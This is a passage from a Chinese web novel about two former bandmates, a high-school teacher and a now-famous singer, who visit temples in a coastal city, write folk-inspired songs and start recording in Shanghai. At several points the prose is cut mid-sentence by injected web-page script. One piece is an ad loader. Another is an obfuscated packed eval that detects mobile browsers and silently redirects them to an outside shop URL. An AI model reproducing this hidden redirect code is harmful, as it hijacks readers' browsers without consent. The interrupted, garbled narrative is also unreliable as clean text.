和红人乐队一起出去玩的时候,对方就被认出来了,乐迷激动地握着对方主唱的手说“好喜欢你们的歌”,说着说着都快哭了,然后签名,合照,羡煞一旁看着的李萤心。 对方主唱好心说,来,水晶也一起合张照吧,回去以后李萤心搜了搜repo,看见人家发照片把他裁掉了,只专注地发表她看见喜欢的主唱时心潮有多澎湃。 当然李萤心觉得那位乐迷做得一点问题都没有,对方可能完全没听过他们的歌,也可能听过一两首但不关注这个乐队,不知道他是谁,也可能知道他是谁但和他没有任何情感联结于是并不必在意他。总之这条动态是为了那位主唱发的,无关的人士被裁掉实在是太正常不过了。 然而,然而。 然而那天李萤心还是忍不住和俞沅说好想有一天好多人听我们的歌,好想走在路上有人拦住我跟我说好喜欢我们的歌啊,最好每天都被乐迷堵着连走都走不动。 俞沅不知道他遇到了什么,只是就事论事地说,这也不太好吧。 李萤心说,开玩笑的,不过在不影响生活的前提下,我应该不会介意有乐迷跟我打招呼。 想来那时候李萤心就初具好为人师的特征,也可能幻想得太真情实感,他说着说着开始严肃地告诫俞沅,说万一哪天我们真红了,永远别因为歌迷的热情而烦,别忘记那些无人问津的时刻,假设你走在路上被人认出来,有歌迷跟你打招呼肯定也是鼓起很大勇气,是为了支持你,不打招呼也是因为体贴你,不想给你造成负担,心里不知道留下多少遗憾。都是因为爱你……和你的作品,没有作品也谈不上爱你了。 又说,不过要是会影响秩序影响公平什么的就要灵活处理啦。 其实这样的幻想还挺可笑的,就像穷鬼每天做梦想象中了彩票之后要怎么花,李萤心现在回想起来都觉得脸热。 还好至少俞沅是真走起来了,他的幻想也算实现了一半吧。而且人红了全副武装成那样都会有人认出来,没名气的时候招摇过市也无人在意,真的是…… 不过,虽说俞沅没有很在意被偶遇,但今天如果要正经去录音和采样,总还是避开粉丝更好。李萤心想了想,提议说待会他自己去排练室拿设备去录音就好。 这个提议被俞沅否决了,李萤心问为什么,俞沅也没说什么理由来,只说:我想和哥一起去。 甚至他还给了解决方案。 俞 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 沅:鲤州遍地是寺庙宫堂,我们可以去攻略上没写的那些小巷子兜一下,看见有缘分的庙就进去。 李萤心:好。 他福至心灵,又说:啊!我们可以去拜狗舍爷。 俞沅:狗舍爷? 李萤心:去了就知道了~ 中午吃过饭,李萤心带着俞沅拐进一条巷子,到了牌匾上书“青龙古地”的一座宫庙。其实它离天后宫很近,因为不是攻略上常被提及的热门打卡点,游客少了很多。 青龙宫奉祀的是医神保生大帝,两人恭恭敬敬拜过后,李萤心引俞沅至角落里……俞沅知道狗舍爷是什么了。 朱漆神龛里端坐着一只身披红披风的狗狗神,狗狗神长得像个边牧,供台上有许多人类奉上的小零食,甚至有冻干和罐头。 俞沅小小声“哇”了一下。 二人又分别拜过狗舍爷,起来后俞沅问李萤心许了什么愿。 小狗也会实现人类的心愿吗? 李萤心说:“希望狗狗神保佑其他的小狗啊,还有石头养的那狗也是边牧吧,希望它平安健康。” 他们的鼓手石含章的狗是他回甘肃以后才养的,李萤心只在朋友圈里见过它的风姿。 没想到俞沅也说:“我也是想请狗狗爷保佑石头哥家的小狗平安健康。” 两人相视一笑。 接着又掷杯得到了录音的许可,两人奋斗一下午收工,收工的时候李萤心轻轻拍了拍收音设备,说了句辛苦了。 走出青龙宫,李萤心对俞沅说:“我们这里的人还蛮相信万物有灵,人可以成神,飞禽走兽也可以,小狗也可以,家门口的歪脖子树也可以。” “所以你刚才跟它说辛苦了。”俞沅也拍了拍刚才忙了一下午的收音设备,它现在已被收回了李萤心的双肩包里,“我来背吧?” “是啊……啊不重,我背就好,”李萤心向俞沅传授他的经验,“平时要多夸夸自己常用的设备什么的,也不要对着它们说不好的话,我之前有阵子手机电量掉得有点快,说了一句这破手机,它气得一整天开不了机,等我拿去苹果店修,它又马上好起来了。有些东西怎么说呢,不信也得信,科学解释不了这个。” 两人一前一后在稍显逼仄的小巷里走着,俞沅忽然扯了扯李萤心的书包带,李萤心转过身来,对他露出一个疑问的神情:“怎么了?” 俞沅抬手,轻轻拍了拍李萤心的脑袋:“水晶辛苦了。” 李萤心:“啊?” 俞沅接着说:“水晶最厉害了。” 李萤心:“啊。” 李萤心双手抓紧了两侧的书包带,快三十岁的人了,在巷子里变成一名被罚站的小学生。 25.第二十五章 不能输。李萤心想。 心里再怎么惊涛骇浪,几年教师生涯磨练下来别的不说,表情管理他是顶好的。李萤心目露凶光,也伸出手去。 他只想拍一拍俞沅肩膀,谁知俞沅低下头来,好像做足了准备让发顶蹭进李萤心的手心。 李萤心右手滞空一瞬,最后还是放到了俞沅脑袋上,没有染烫过的头发柔软蓬松,李萤心轻轻拍拍,很快将手拿开。 “俞沅同学……也很不赖。”李老师在看见已经抬起头的俞沅脸上清清浅浅的笑意时,还是卡了一点壳,转过身去继续往前走,“不要嬉皮笑脸的,老师上课你笑什么呢?” “老师,开心就笑也不可以吗?”俞沅问。 “怎么还顶撞老师?”这莫名其妙的师生扮演play是一点也继续不下去了,李萤心随口问,“在开心什么呢。” 俞沅又答了句废话:“就是开心。” 两人走在狭窄小巷中,从两侧顶上已有些斑驳的飞檐望出去的天空本应是小小一方,李萤心却忽然感觉这片碧空无比辽阔。 他也笑,说:“我也开心。” …… 后来还是回了排练室。说要为写歌采风的那个人没什么动静,倒是李萤心这个陪着采风的人新点子如泉涌。说来也好笑,李萤心算半个鲤州本地人,这几年更是早已把这里能逛能玩的地方去了个遍,但从来没有一次冒出什么创作冲动。 偏偏只是陪俞沅玩了两天,该来的不该来的想法全来了。 今天录的音采的样暂时还没用上,俞沅说等回上海再找人做混音,李萤心又把自己关在那小工作间里,接着做另一首的demo。 这样连着几天,李萤心连词带曲搭了两首歌的框架,先前那首叫《神意》,歌词主旨和此前所说无异。 讲一群各有所求的信徒:有人好吃懒做却渴求名利,以小博大,投了五元进功德箱,竟也得到一些身外物;有人胡作非为染一身病,想把陪伴多年的宠物狗当祭品换自己痊愈,总之也没死去…… 但求来的财和名总会耗光,染病的人也会东窗事发……这些人日子过不下去了,只能想到再来到神台前,说愿意将人生的提线全然交到神明手中,却最终走向癫狂。 到时候唱的部分要如何演绎,对俞沅来说也是一个挑战。俞沅和李萤心他们始终没有敢给自己的乐队打上“摇滚乐队”的标签,因为他们不太表达愤怒,总是比较平和,有一两首比较燃的歌,但也很少像那种正统又锋利的摇滚乐队一样唱得如同在对世界发出振聋发聩的怒吼,也不像朋克乐队或者后朋那样高兴了叛逆了都随性怪叫几声。 像《神意》这样到了后面彻底疯狂的歌,李萤心是第一次写,俞沅也将第一次唱。 不过俞沅认为可以一试,李萤心也十分期待。 另一首叫《神游》,和前一首像也不像,像的部分除了都取材于本地传统民俗,歌曲结构也有些类似,按俞沅的话来说,虽然换了个和弦,旋律走向也完全不一致,但前半部分同样起始于热热闹闹的庙会,逐渐变成哀戚的挽歌。 只是《神游》前半段的热闹和《神意》那种“你们走开别挡着我给神佛上香啊哈哈哈我抢到了头柱香要发财啦”的病态不同,《神游》的热闹更像一个稚子初次见到节日游神,眼前是一个全新且缤纷的世界,熠熠生辉的烛焰和燃香的气味都让他满心欢喜。 后半的哀歌也全无阴森诡谲之感,仅仅是一种纯粹的哀伤,竹笛和吉他的搭配相得益彰,让这样的哀思越发悠远。 李萤心写完了歌词给俞沅看,给他讲这就是一首没什么特别含义,像寓言故事似的叙事歌而已。 大体上是说,有个人幼时在游神队伍里见到了显圣的神明。那神明和他所知道的其他神都不同,并不庄严肃穆,是少年的模样,巧笑倩兮。少年神明在那一夜带着尚是孩子的主人公上天入地,领略了无数凡间无有的风光。 天亮以后庙会里通明的灯火被白日蚕食,少年的神明也慢慢消散。 孩子后来也长成了少年,青年,像树一样生长,老去,树的年轮画了一圈又一圈,他再没见过小时候遇见的神明,踏遍庙宇找不到一个奉祀那神明的宫堂,掷了无数杯卦也问不见对方的下落。 死之前他终于相信当初的奇遇应当只是一个孩子的一场幻梦,但当他闭上眼,灵魂从苍老的躯壳中升上来,逐渐又变回孩子的模样时…… ……他看见心心念念了一辈子的神明,还是那副少年人的模样,正飘在他面前对着他笑。 原来那不是神明,是鬼魂啊。 就是这样的一个故事。 当然李萤心没讲这首歌有一部分的灵感来源于他光怪陆离的梦,梦醒之后他把之前就有的一些想法拿过来一起揉来捏去,写出来这样一首歌,当然故事里的人并没有真正指代谁,只是他在梦中与俞沅对望的那一眼,让他也很有冲动编一个流光溢彩的、一眼万年的故事。 俞沅听完说好,很喜欢。 按道理来说不该只有俞沅一个人听到这些新作。隔了这许久,不同于上次是被俞沅驾着补完一首歌,这次完完全全是李萤心自己灵感如泄洪,虽然作出来以后内心依然忐忑,但还是满意和为自己复健成功而开心更多,未完成品自然还不能发布,但李萤心很想听听更多身边人的评价。 可惜这一段时间以来,陈悦不知为何再也没来排练室。 李萤心发信息问过他,他也只说忙,看来是忙到多余的玩笑都没精力开,对话框里的几句话言简意赅。 那么就随缘。 俞沅把相关文件传回自己的工作人员那里,歌曲风格没被质疑,经纪人非常同意将这几首都收录到专辑里。但他的意思是已经有了三首歌可以先回来制作和录音,出一张迷你专辑稳固一下人气,哪怕不是走流量路线,空窗太久也是不好的。 李萤心感叹:“你们也真的不容易啊,巡 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 演才结束没多久,也就休息了半个月,就被说是空窗太久。” 俞沅说:“是这样的,天王巨星都在卖力营业,何况小小一个我……小宋哥给我很大自由度,但我知道他也顶着很大压力。”小宋哥是他的经纪人。 李萤心想,那之前他还说什么自己想在这待多久,甚至长租了这间排练室……俞沅为何这样倒也不必多说,李萤心感到心口又开始发烫,小沅真是个好孩子啊,真想无缘无故去揉他的脑袋。 此时两人对坐在排练室的木地板上,李萤心抱着琴随意弹了几个根音,嗡嗡嗡地弹了几下后,扯一个轻松的笑容,问:“那你是不是要回去啦?” 俞沅回答得极其干脆:“对。” 连一点不舍都没有吗?自乐队散伙以来,这是头一次李萤心和俞沅在一块待了那么长时间,还没到二十一天,但李萤心认为自己已经形成了一点习惯。 每天的开始都从抱着期待去排练室或是其他约定的地方开始,有时候是俞沅带着打包好的吃的来找他,见到面后早已从先前的尬聊变成“跟你说我刚刚在路上看见一只长得很标准的几把猫!”,不练琴不聊自己的音乐时会对别人新出的歌评头论足,还用排练室里的投影看了《赛车总动员》,一边看一边说“我小时候好像看过这动画电影的但是完全没印象了”。 结果俞沅这就要回去了啊。 李萤心开始回想,前几年暑假他一个人怎么过的来着?好像都分别回了乡下和县城早已无人的老房子打扫了下,有一些年份也去了外地旅游,跟不同的朋友去了不同的饭局,然后还有什么来着……完全想不起了。 没有和俞沅与音乐和好之前,他是怎么度过漫长的寒暑假的? 好像没有俞沅这样的好友长伴身边才是常态吧。 俞沅是个很直接的人,有什么情绪都不太藏着掖着,所以他是真的没有不舍一下吗? 李萤心张了张嘴:“那你准备什么时候回?机票订了吗?” 俞沅反过来问:“哥觉得什么时候回比较好?需不需要留点时间给你处理一下这边的事情?” “啊?”正陷入离愁之中的李萤心被俞沅问得万分茫然。 “啊什么?”俞沅一脸理所应当,“你不想跟我一起去吗?你还有一个多月的假期吧?” “想。”李萤心即刻就多云转晴了,想了想又弱弱地提要求,“那我可以参与一下选乐手和监棚吗?”这几首歌都有大量的民乐,从找人到录制都是要费一些工夫的。 俞沅:“当然可以啊,制作人水晶。” 李萤心太高兴了:“我这title是越来越多了。” 俞沅又说:“我也要带哥去玩。” 李萤心笑眯眯地又弹了几个毫无规律的乱七八糟的音,说:“玩什么呢?我初中的时候就去上海玩过一次,什么外滩东方明珠早都留下了我的脚印。” “……”俞沅道,“我不管,再玩一遍。” 26.第二十六章 这个暑假期间李萤心相比平日的确能算得上是无事一身轻,没事来问这问那的家长和学生一般集中出现在假期开头和假期快结束时,当然学校也有教研任务和其他零零碎碎的工作,但好在都可以线上进行。 家庭方面,打小他父母离异,他就没见过他爸,后来他妈也出了国,成长期大部分时间他同阿公阿嬷一起生活,不在父母身边长大也没什么特别的,反正钱也不缺,两个老人家也很爱他,基本放养他,和别的从小被逼着上各种辅导班的孩子不同,李萤心度过了无忧无虑没有任何压力的童年和青少年时期,不管是学钢琴还是别的什么全然出于他自己的兴趣。 不过在他读大学时,阿公阿嬷相继去世了,他和妈妈也没什么联系,对方早已在海的另一边组建了自己的新家庭,母子二人只在节假日和生日互相嘘寒问暖一下,跟关系一般的熟人也没太大区别。倒是真的没有了归处。 这也意味着他非常自由,假期他不用像别的老师一样要回家要被催婚,他想去哪就去哪。 本来是有打算回去一趟取一些旧物的,现在也不太有必要,用于做歌的工具俞沅基本上都帮他准备齐全了。 李萤心把要去上海录音的事告知了陈悦。俞沅还是很坚持吉他贝斯鼓都让夜这星的成员来录,当然考虑到陈悦社畜一个,又不像李萤心一样凑巧有长假,没指望陈悦能一起去录音,想让他抽空练练再像远方的石头哥一样在鲤州找个好点的录音棚录了发给他。 没想到陈悦说他也要去。 说这话的时候是在排练室所在的写字楼楼下。彼时李萤心叫了个咖啡外送,正好去大厦外头的外卖柜取,看见陈悦靠在墙边抽烟。 李萤心差点怀疑自己看错,喊了陈悦一声,跟他打招呼:“怎么来了不上去?” “打算抽完上去的,这么巧,”陈悦看了一眼李萤心提着的外卖袋,“大下午的你点咖啡打算通宵拉磨?” “没事我下午喝晚上也能睡着。”李萤心也悄悄打量了一番有一段时间没见的陈悦,此人虽然一如既往贫嘴,脸上却没什么笑容,眼窝略微凹陷,人也瘦了些,显出深深的疲态。 还在楼下抽烟,看垃圾桶上的烟灰缸里同个牌子的新烟蒂有好几个,这是一根接一根地抽啊…… 李萤心也跟他一起靠着:“怎么了啊?工作不顺利?” 陈悦手上那支烟还没抽完,他最后吐出一口武器,干脆把烟摁灭了,直起身来,没有正面回答李萤心的问题,而是说:“你们准备什么时候去上海?带我一个,我也要去,也省得我自己录音麻烦。” 李萤心:“呃你不会是喜提N+1了吧,这么有空?” “开什么玩笑,裁员还能裁到我头上的?我刚好也有点事要去上海,这几天交接一下重要工作请个年假跟你们一起去。”陈悦说,“走吧,上去吧。” 陈悦不想说,李萤心也就不刨根问底了,只是一起坐电梯上去的时候李萤心还是拍了拍陈悦肩膀:“真遇到什么了要说啊悦悦。” 陈悦:“……不要这样叫我!恶心心!” 李萤心:“哈哈哈哈。” - 离开鲤州前俞沅在贵宾候机厅捧着手机挑挑选选又编辑了半天,终于发了一条微博。 李萤心看他这么精心编辑,以为他发了什么了不起的东西,顺着特别关心的提醒点进去一看,内容倒是没什么特殊的,配文是一个笑脸emoji,配图是九宫格风景照,有古建筑的屋脊房檐朱瓦红墙,有寺庙里偶遇的鸽子,有好吃的,有无垠的晴空,还有路边的花花草草……和一般人旅游结束后发的总结性动态并无区别。 再一刷新,乌泱泱的评论全涌进来了,其中不乏问他怎么也不发一张自拍的——虽然不走流量路线也不靠脸吃饭,但俞沅的颜粉也真的很多。 李萤心也揶揄他: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13968059|145185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “终于你也是到了爱拍花花草草的年纪……” 俞沅也不在意这调侃,依旧认认真真回答:“拍的都是我喜欢的风景。” 陈悦在一旁并不对此作出评价,他也在看俞沅发的微博,直接点开九宫格中的第五张图,居中的那张。 这张图乍一看是在拍路边买的浮粿,俞沅一手拿吃的一手举手机对着拍,他举着的食物在整张图片偏下的位置,甚至没拍全整一份食物,上面却有着一大块留白。 评论里有粉丝在笑俞沅拍照好随意,根本没有什么构图可言。 陈悦看着照片里食物后方站着的李萤心,几不可闻地叹了口气。 粉丝笑俞沅不会拍,陈悦笑粉丝看不穿,这分明是人家精挑细选出来的图。 虽然对焦是对在食物上,虽然看起来似乎是在拍食物,可是……可是全世界可能只有俞沅自己,和一个知道了太多的陈悦才能看得出,这张照片拍的其实是李萤心的背影。 看着怪可怜的,情绪哪怕涌动得再激烈,他也只能用这种暗戳戳的方式发泄一下。 ——总是用双眼看你,你却总从我眼里跑出去,那么至少让你留在我的取景框里。 陈悦想,俞沅的手机相册里说不定还有很多张各种角度奇怪的抓拍。 他用大号给这条微博点了个赞,随后退出了微博界面,侧过头去望着又讨论起了歌聊得正起劲的俞沅和李萤心,李萤心写完歌爽完了才后知后觉地开始担忧其他人能不能接受他这两首,毕竟和前作风格相差巨大,李萤心很怕拖俞沅后腿。俞沅应当也是在真心实意地夸奖和安抚李萤心,但是说得太过直截了当又像人机一样。 忽然又想,其实俞沅也不可怜,至少他争取到了李萤心回到他身边。心意也许永远没有得见天日的一天,可恋慕的人毕竟在身边。 就这点来说,陈悦有点羡慕俞沅,他恋慕的人,连同他见一面都不愿。 27.第二十七章 俞沅说要带李萤心去玩,实际到了上海之后,除了落地那个晚上经纪人哥带他们去和平饭店吃了顿饭,顺便在露台上看了几眼黄浦江,此外大家并无暇再闲逛,而是马不停蹄地就开始工作了。 专业团队做起事来效率极高。首先是器乐录音,当初李萤心为了找个弹月琴的师傅大费周章,结果这次,他们第一天去俞沅所在的集星传媒大楼,会议室的投影屏幕上就罗列了团队事先筛选出来的民乐艺术家们,助理在上面详细介绍每位艺术家,最后让他们讨论一下按心仪的程度给各乐器的备选艺术家排序,助理再去接洽。 李萤心原本认为俞沅喊他“制作人”只是朋友间一种玩笑式的抬举,就算他也说自己想参与到歌曲的制作中去,可真来到他们公司,他更多也是抱着学习和见见世面的心态,没有真想左右别人的决策。 但不管是经纪人小宋哥还是俞沅的助理小乐都没有把李萤心和陈悦当凑热闹的,甚至在李萤心说“还是以各位大佬的意见为主时”,小宋哥十分不赞同道:“水晶老师才是这三首歌的亲爹,你的意见肯定才是最重要的呀。” 小宋哥说话带一点江南口音,听起来很软和,态度却分外强硬,又说:“赶紧说说你的想法。” 李萤心斟酌着措辞说了一些自己的看法,小宋哥又问俞沅和陈悦怎么看,这两人都表示听水晶的就好。 小宋哥很快拍板决定,跟小乐交代:“行,那就按水晶老师给的名单先去联系,谈不拢的话再说。” 李萤心还蛮惊讶的,从来只有听说经纪人和娱乐公司控制欲超强,让艺人往东艺人不能往西的,他也不是没认识别的乐队或歌手签了公司之后被要求唱各种不合心意的歌……即便先前俞沅就跟他说过经纪人给了他很高的自由度,可毕竟李萤心没接触过对方,总还是担心自己的想法会被驳回。 如今被对方的诚意照耀着,李萤心倒有点难为情起来。 今日最重要的议题结束,陈悦说他还有点别的事先撤了,李萤心看他一副心不在焉满腔愁绪的模样也只能叮嘱一句路上小心。 俞沅和小宋哥还有别的事要谈,小乐带着李萤心到会客厅,熟练地泡茶端点心,李萤心赶紧说:“谢谢,不用忙了,反正一会儿可能就走了。” 小姑娘说没事,又问他要不要喝别的饮料,李萤心摆手:“真不用了。” 按理说为了避免尴尬,在客人没主动提出需求的情况下,助理应该会找个理由说要去忙,让客人先独处等俞沅回来。但小乐待着没动。 小乐看着也有些不好意思,好像有什么话要说,李萤心先看不下去了,问她:“请问怎么了吗?” 小乐从包包里翻出了俞沅的两张专辑,打开里头的歌词本双手递到李萤心面前,李萤心迟疑地接过,看了一眼上面已经存在的俞沅的签名,还在揣测着小乐是何意的时候,她开口了:“水晶老师可以帮我签个名吗!” 李萤心:“啊?我吗?” 小乐又失去了一些助理的专业性,“啊”了一声之后颇有些手忙脚乱地又从包里翻出了一支金色的签名笔,递给了李萤心。 对方用期待的眼神看着自己,李萤心虽还有点疑惑但还是签了,很久没签这种名,起笔第一划差点习惯性地写成了“李”字的第一横,还好及时反应过来。 回忆了一下,才想起以前花了心思设计的签名要怎么签,只是下笔仍然有些生疏。 李萤心在两张专辑歌词本扉页空白处分别签下了“水晶”二字和一个六棱水晶的简笔画,和上面龙飞凤舞的“俞沅”二字并在一起。 难道小乐是他们以前的老粉吗? 很快李萤心的疑惑就得到了解答。拿到签名之后的小乐看起来有些兴奋,她把专辑收好放回去,坐到和李萤心的位置呈直角的另一边的沙发上,主动打开了话匣:“没想到有机会见到您本人!……真是和我想象中很不一样。” 那就不是老粉,如果是以前的乐迷,见到李萤心可能会发出“变化好大”之类的感慨,而不是说和想象不同。 李萤心报以一个友善的微笑,不过想来也是,一般艺人找工作人员都会避免找粉丝的,哪怕是前乐队的粉丝。 果然小乐马上就说了:“我是去年开始跟着沅哥之后,在了解他的作品过程中才知道背后有您这么一个存在,我就一直在想怎么会有这么才华横溢的人啊,每一首歌都特别好的。” 小乐又讲了自己喜欢的几首歌,具体到哪个鼓点刚好卡在某个唱段她觉得特别天才,哪一首中间的贝斯比电吉他还要带劲。 没有人不喜欢被夸,但李萤心还是谦虚道:“没有没有,过奖了。” “最开始我还以为是公司里哪位大神,不过很快就知道了原来是沅哥自己的朋友……”小乐眼睛转了下,“还稍微了解了一点夜这星乐队。” 李萤心看对方表情似乎藏着千言万语,事到如今他也坦坦荡荡:“如你所见,没有什么很drama的瓜,乐队遗憾解散了,但是我们都还是朋友。” 但这么说也有点假,而且人家身为助理……李萤心是不知道她和俞沅熟到什么程度,也许她不清楚俞沅私下的交友情况,但对俞沅的发歌计划肯定是清楚的,不会不知道他们之前已经很久没联系,也不会不知道俞沅后来是怎么想方设法找他写歌的。 李萤心于是也不说那些被修饰过的漂亮话了,小姑娘看上去毕业没多久,也许俞沅是她跟的第一个艺人,虽然她工作做得很专业,但还没八面玲珑到完全藏不住事,好奇心在眸光里一闪一闪的。 李萤心并没有觉得被冒犯,决定满足她的好奇心,因为他也想从她那里换来一些情报。把以前的事简单一说,听见小乐一声叹息。 李萤心顺势也作感叹状:“这几年俞沅一个人在外面拼应该很不容易。” 此时小乐已经卸下刚才在会议室里那副干练的模样了,顺着李萤心的话说:“是啊,虽然我是去年才来的,但他之前的事我也是听过一些的。” “就他一开始不是参加音综吗?那是别家办的,那家办综艺办选秀一直一个德行,”大概因为是在说别的公司坏话,小乐说得有点模棱两可,“最后拿名次的都是本来就要捧的人嘛,沅哥只是个陪跑炮灰。” “但也没人想到炮灰的歌小爆了一下,就一点宣发没有,纯靠自来水火的,你也知道娱乐行业所有人都是很敏锐的,一看到有这么个人冒头一下子都想去签他……但是大部分都是那种广撒网的合同啦,给对娱乐圈有憧憬的人画点饼,其实签了人就不管了,能火就躺着赚分成,不能火到时候赚点解约费。 “俞沅哥道心挺坚定的,一个都没签,后来做音综的那家平台也想签他,说可以帮他运作啥的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984520|145185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他听了一下那家的当红歌手唱的都是些什么歌之后,坚决不肯签。 “可是从自来水那里得来的流量没有专业的团队给他持续运作的话,其实很容易昙花一现,一阵风过后俞沅还是继续在节目里当炮灰,然后我们小宋哥出现了。” 说到这里小乐笑了起来,对她话中两位主人公的敬佩溢于言表:“那时候小宋哥也还是集星的边缘人呢,他也是个有理想的人,觉得被流量裹挟的时代为什么不能出一个靠内容取胜的巨星?他就是这么给俞沅画饼的,说绝对不会干涉他的音乐内容,两个人一拍即合。” “那时候知道的人都在等看俞沅笑话,小宋哥之前的职业是不知名idol,自己都没火过,还捧艺人呢。而且又想只做歌不搞别的……这年头不搞人设不多栖发展的艺人很难出头的,公司根本不看好,别说扶持了,都想直接把小宋哥优化了。”小乐又说,“怎么说呢,就那句被用到烂的话吧,所有人都笑他们,偏偏他们最争气。” 这些都不算什么秘辛,都是小乐能讲的,李萤心也有印象以前看到粉圈里大家说俞沅不被公司重视签约一段时间都没太多活动,也没后台之类的,只是他不太知道个中细节。 小乐又讲到那时候俞沅很穷,参加音综让他爆火了一阵,小宋哥也帮他接住了流量运作了一个在节目里被淘汰仍是“无冕之王”的大众印象,但他俩都没有想要马上把流量变现,偶尔实在没钱了也精挑细选一些音乐节去参加,出场费其实不是很高,拿到的钱马上又被烧了,大部分时间里俞沅就像练习生一样,眼睛一睁就从住的老破小里骑车去跟老师学声乐学乐器学这学那。 可能又比一般的练习生境遇好点,因为他跟的有些老师的课比他当时的出场费还要高,都是小宋哥不知道怎么求来的。 为了走得更远,他绕过了通向名利场的捷径,选了更需要耐心的一条路,缓慢却坚定地往上攀登。 等到时机成熟了,他们把李萤心留下来的作品翻出来重新录人声,被打磨过的天才一开口更加让人耳朵和心灵同时发麻,正式发歌。 小宋哥也和约定的那样没有干涉他,也没有让他非要立什么人设去吸粉,更没有炒作以前乐队的经历,只是不断地宣传作品本身,去找有潜力大爆的剧组谈合作拿下ost,去其他音综刷脸,在网上做更多关于歌和这个歌者的话题。 后来的事大家都知道了。 最后小乐说:“很多人会觉得俞沅只是运气好,一会儿说他有好的歌换谁唱这些歌都会火的,一会儿说就是市场刚好对千篇一律的东西疲惫了所以他才有机会出头。但是我觉得在绝对的实力和天才面前,运气只是锦上添花的东西,不是必须的。” 李萤心默默听着,倒是对小乐的一部分观点不太以为然,虽然俞沅发的第一张专辑都是他们没公开过的歌,李萤心已经无法应证这些歌如果当时就发布的话是否也能被喜欢……可想到更早以前那些不温不火的歌,李萤心觉得大概率俞沅还是因为把自己打磨得更好所以唱什么都能唱好听吧。 李萤心和小乐又闲聊了些别的,聊得挺好,说要加个微信,也方便接下来这段时间工作上的对接,正好李萤心掏出手机让小乐扫二维码的时候,响起两声敲门声。 俞沅推门进来了,看了看相谈甚欢的两人,挑眉:“哥真是走到哪里朋友交到哪里。” 28.第二十八章 李萤心和小乐加完好友了,他一边给小乐加上备注,一边一本正经道:“是啊,多个朋友多条路,万一以后我被学校开除了,还得小乐姐带带我。” 俞沅靠在门边:“也可以,让小乐姐带你当大明星。” 李萤心:“什么啊,是教教我怎么像她那样给小沅哥当金牌助理。” 一句好听的玩笑话奉承了两个人,“小乐姐”笑着客套说:“金牌助理也太夸张了,干些分内事,感谢老板们包容。” 第一次被李萤心叫“小沅哥”的俞沅虽然本来话也不多,此刻更加沉默,摸了摸耳垂,看屋子里两人视他于无物那般继续尬聊。 小乐捕捉到刚才李萤心话中的关键词:“水晶老师在学校里工作?还是说还在念书?” 李萤心:“是当之无愧的老师,持证上岗那种。” 随着语言通胀现象日益严重,这年头确实管谁都可以叫一声老师,小乐喊一声水晶老师是出于礼貌,没想到人家真的在教书,她道:“还以为您也是职业音乐人……是音乐老师吗?” 李萤心:“高中语文老师。” “完全看不出来。” 小乐下意识地又用视线迅速从头到尾扫了一眼李萤心,李萤心大体上能猜到她在想什么。 他今天的look看起来很是让人风湿:oversize的黑T恤上印着骷髅头,因为过于宽松显得露出来的一段脖颈有些许脆弱。宽大的破洞牛仔裤会让所有阿嬷涌出做针线活的冲动,耳垂上夹了亮晶晶的耳夹。 在娱乐公司里行走其实这样子只能算中规中矩,但实在不是为人师表该有的样子。 上班的时候当然就是头发也不抓,衣服也随便穿,看起来有老师样就行。不穿中年男专用polo衫是李萤心最后的倔强,同样还穿T恤加牛仔裤,但他会换成更斯文一点的。 当代年轻人上班下班两副面孔是非常普遍的现象,小乐估计也很快就想明白了,她竖了个拇指:“太强了,不会还当班主任吧,我表姐也是高中语文老师,每天忙得像个陀螺,您居然还能抽空练琴做歌什么的。” 李萤心老实说:“也是最近才捡起来的,过完暑假又有得忙了,说不定就顾不上了。” “那不行的,那太可惜了。”小乐说。 俞沅终于也加入了他们的谈话中,却是在当复读机:“那不行的。” 又说:“走吧哥,不是说要练琴吗?” “是。”录音前肯定还是要多练练,李萤心起身背上琴包——早上过来的时候怕流程中有什么需要的地方,他未雨绸缪地把琴带出来了,结果完全没用上,只是背在身上背重。 背好琴后掂了掂,李萤心又对小乐说:“我们就先走了,今天谢谢你。” 小乐和他们拜拜。 走出去会客厅,李萤心跟着俞沅准备下楼去地下车库,按说在集星这边找个空的排练室练就行,但李萤心感觉自己毕竟不是这里的艺人,来多了也不自在,还不知道会不会让俞沅遭人背后说闲话,于是拒绝了留在这里。 在酒店带监听耳机练也行,不过俞沅说可以去他住的地方,他自己也有个排练室。 背着琴路过半开放的录音室,又穿过一道贴满该公司各个艺人光辉时刻照片的走廊,走到电梯间,不知道先前这一层谁摁了电梯但人不在,电梯门开着眼看要合上了,于是俞沅和李萤心小跑了几步过去。 电梯门关上,里头仅有他们二人,李萤心说:“读书的时候我幻想过这样的场景。” 俞沅:“嗯?” 李萤心:“就我们变成很厉害的乐队了,巨星,在很大的娱乐公司里面,要去赶通告,经纪人和其他队友在楼下催我们快点,骂我们磨磨唧唧,然后我们就像刚才那样,我背着琴,跟你一起跑进电梯。” 俞沅:“幻想得这么具体?” 李萤心一时语塞,想想也是,一般别人幻想应该都是模模糊糊的,李萤心以前还真挺热衷在脑子里演电影,他不知道怎么回答,用时下很时髦用来给人贴标签的东西搪塞过去:“我们ENFP就是这样的。” 